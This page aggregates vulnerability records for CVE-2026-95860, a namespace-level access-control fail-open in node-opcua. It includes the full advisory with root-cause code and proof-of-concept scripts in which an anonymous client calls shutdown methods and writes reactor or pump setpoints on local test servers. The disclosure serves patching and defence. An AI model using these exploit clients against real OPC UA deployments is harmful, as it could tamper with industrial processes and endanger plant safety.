Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

CVSS 3.1 9.1 CRITICALEUVD CVSS 3.1 9.1 CVSS 3.1 · [email protected] · Secondary 9.1 CRITICALCVSS_V3 Publisher rating CRITICALFixed by node-opcua 2.180.0Fixed by node-opcua-address-space 2.180.0Fixed by node-opcua-server 2.180.0KEV status unknown

cve-program · CVE-2026-95860

Published

node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.

Read the publisher's advisory

euvd · EUVD-2026-116210

Published

node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.

Read the publisher's advisory

nvd · CVE-2026-95860

Published

node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.

Read the publisher's advisory

osv · GHSA-xggf-m53x-jc3f

Published

## Summary An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions. This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**. The root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path. --- ## Affected configuration This advisory covers two cases that are not equally severe: 1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed. 2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise. ## Root Cause Analysis ### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny) File: `packages/node-opcua-address-space/source/session_context.ts:151-153` ```ts function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag { if (rolePermissions === null) { return allPermissions; // null means "grant everything" to ANY role, including Anonymous } ``` When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."* ### Bug 2 - The namespace default resolves to `null` on the enforcement path The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration: - **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`). - **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`. Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore: ```ts for (const ns of namespacesNode.getComponents()) { const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null; if (defaultRolePermissions) { defaultRolePermissions.setValueFromSource({ dataType: DataType.Null }); } } ``` > **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless. ### Bug 3 - Two incoherent enforcement paths There are two separate and disconnected paths to resolve namespace-default permissions. **Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`: ```ts public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void { this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined; } ``` This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`). **Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`): ```ts const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable; if (defaultRolePermissions) { const dataValue = defaultRolePermissions.readValue(); if (dataValue?.statusCode.isGood()) { return dataValue.value.value as RolePermissionType[] | null; } } ``` Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1). > *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`. Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`: ```ts metaData.defaultRolePermissions?.bindVariable( { get: () => new Variant({ dataType: DataType.ExtensionObject, arrayType: VariantArrayType.Array, value: namespace.getDefaultRolePermissions() }) }, true ); ``` Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.** --- ## Steps to Reproduce ### PoC-A - Address-space level (unit test, no network) Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run: ```bash cd packages/node-opcua-address-space npx mocha ./test/test_poc_rbac_failopen.ts ``` ```ts import { makePermissionFlag } from "node-opcua-data-model"; import { PermissionType } from "node-opcua-types"; import { DataType } from "node-opcua-variant"; import should from "should"; import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from ".."; import { getMiniAddressSpace } from "../testHelpers"; const _keep = should; describe("PoC RBAC fail-open", () => { let addressSpace: AddressSpace; let namespace: Namespace; before(async () => { addressSpace = await getMiniAddressSpace(); namespace = addressSpace.getOwnNamespace(); }); after(() => addressSpace.dispose()); function anonymousContext(): SessionContext { const ctx = new SessionContext(); ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]); return ctx; } it("A. CONTROL: per-node rolePermissions deny Anonymous", () => { const secured = namespace.addVariable({ browseName: "SecuredWithNodePermissions", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); secured.setRolePermissions([ { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") } ]); const ctx = anonymousContext(); ctx.checkPermission(secured, PermissionType.Write).should.eql(false); }); it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => { const relyingOnDefault = namespace.addVariable({ browseName: "RelyingOnNamespaceDefault", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); const ctx = anonymousContext(); const applicable = ctx.getApplicableRolePermissions(relyingOnDefault); should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)"); ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true); relyingOnDefault.isUserWritable(ctx).should.eql(true); }); it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => { const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects }); const method = namespace.addMethod(obj, { browseName: "PrivilegedMethod", inputArguments: [], outputArguments: [] }); method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any })); const ctx = anonymousContext(); ctx.checkPermission(method, PermissionType.Call).should.eql(true); method.getUserExecutableFlag(ctx).should.eql(true); }); }); ``` **Output:** ```text PoC RBAC fail-open ✓ A. CONTROL: per-node rolePermissions deny Anonymous ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call 3 passing ``` ### PoC-B - End-to-end over TCP (programmatic namespace) Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control): ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData } = require("node-opcua"); const PORT = 48411; const ENDPOINT = `opc.tcp://localhost:${PORT}`; const SAFE_MODE = process.argv.includes("--safe"); let parentNodeId, methodNodeId, variableNodeId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], securityModes: [MessageSecurityMode.None], allowAnonymous: true }); await server.initialize(); const ns = server.engine.addressSpace.getOwnNamespace(); // Operator hardening: namespace-level RBAC, Anonymous excluded ns.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }, { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") } ]); if (SAFE_MODE) { setNamespaceMetaData(ns); } const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects }); parentNodeId = device.nodeId; const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] }); method.bindMethod((_in, _ctx, cb) => { console.log("[server] EmergencyShutdown EXECUTED by anonymous caller"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodNodeId = method.nodeId; const variable = ns.addVariable({ browseName: "ReactorSetpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 350.0 } }); variableNodeId = variable.nodeId; await server.start(); console.log(`[server] Listening on ${ENDPOINT}`); return server; } async function anonymousAttack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(ENDPOINT); const session = await client.createSession({ type: UserTokenType.Anonymous }); console.log("[client] Anonymous session activated"); let callStatus; try { const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] }); callStatus = r.statusCode.toString(); } catch (e) { callStatus = e.message; } let writeStatus; try { const r = await session.write({ nodeId: variableNodeId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999.0 } } }); writeStatus = r.toString(); } catch (e) { writeStatus = e.message; } await session.close(); await client.disconnect(); return { callStatus, writeStatus }; } (async () => { const server = await startServer(); try { const { callStatus, writeStatus } = await anonymousAttack(); console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`); console.log(`CALL EmergencyShutdown : ${callStatus}`); console.log(`WRITE ReactorSetpoint : ${writeStatus}`); const vuln = callStatus.includes("Good") || writeStatus.includes("Good"); console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced"); } finally { await server.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Vulnerable output** (`node poc_b_e2e_rbac.js`): ```text [server] EmergencyShutdown EXECUTED by anonymous caller Mode: VULNERABLE CALL EmergencyShutdown : Good (0x00000000) WRITE ReactorSetpoint : Good (0x00000000) ``` **Control output** (`node poc_b_e2e_rbac.js --safe`): ```text Mode: SAFE CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000) WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000) ``` ### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it) Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`: ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets } = require("node-opcua"); const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/"; let deviceId, methodId, variableId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], securityModes: [MessageSecurityMode.None], allowAnonymous: true, nodeset_filename: [nodesets.standard, nodesets.di] }); await server.initialize(); const di = server.engine.addressSpace.getNamespace(DI_URI); di.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") } ]); try { setNamespaceMetaData(di); console.log("[server] hardening: metadata bound"); } catch (e) { console.log("[server] hardening FAILED:", e.message); } const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects }); deviceId = device.nodeId; const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] }); m.bindMethod((_i, _c, cb) => { console.log("[server] Stop() EXECUTED by anonymous"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodId = m.nodeId; const v = di.addVariable({ browseName: "Setpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 42 } }); variableId = v.nodeId; await server.start(); return server; } async function attack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(`opc.tcp://localhost:${PORT}`); const s = await client.createSession({ type: UserTokenType.Anonymous }); const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString(); const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString(); await s.close(); await client.disconnect(); console.log("CALL Stop() :", call); console.log("WRITE Setpoint :", write); } (async () => { const srv = await startServer(); try { await attack(); } finally { await srv.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Output:** ```text [server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/ [server] Stop() EXECUTED by anonymous CALL Stop() : Good (0x00000000) WRITE Setpoint : Good (0x00000000) ``` --- ## Impact - **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`). - Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`. - Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific. ## What is NOT affected Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case. - Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`). - Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods). --- ## Proposed Fix 1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny). 2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly. 3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces). 4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`. --- ## Spec Reference (verified verbatim against the official OPC Foundation reference) - **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3> - **OPC 10000-3 §5.2.9 - RolePermissions:** *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9> - **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-95860

Published

node-opcua

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "node-opcua",
                    "product": "node-opcua",
                    "versions": [
                        {
                            "version": ">= 2.42.0, < 2.180.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-116210

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 3, 2026, 8:11:38 PM

dateUpdated: Nov 7, 2026, 3:30:26 AM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-95860

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-285 · CWE-636 · CWE-863 · CWE-1188

Original publisher date fields

published: 2026-11-03T21:17:45.907

lastModified: 2026-11-07T04:17:35.277

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-xggf-m53x-jc3f

Published

node-opcua

npm

SEMVER · introduced 2.42.0 → fixed 2.180.0

node-opcua-address-space

npm

SEMVER · introduced 2.42.0 → fixed 2.180.0

node-opcua-server

npm

SEMVER · introduced 2.42.0 → fixed 2.180.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 23:13 UTC · 274 of 275 readable · 250 fully read · 18 waiting for GitHub's hourly limit · documentation 461/469 current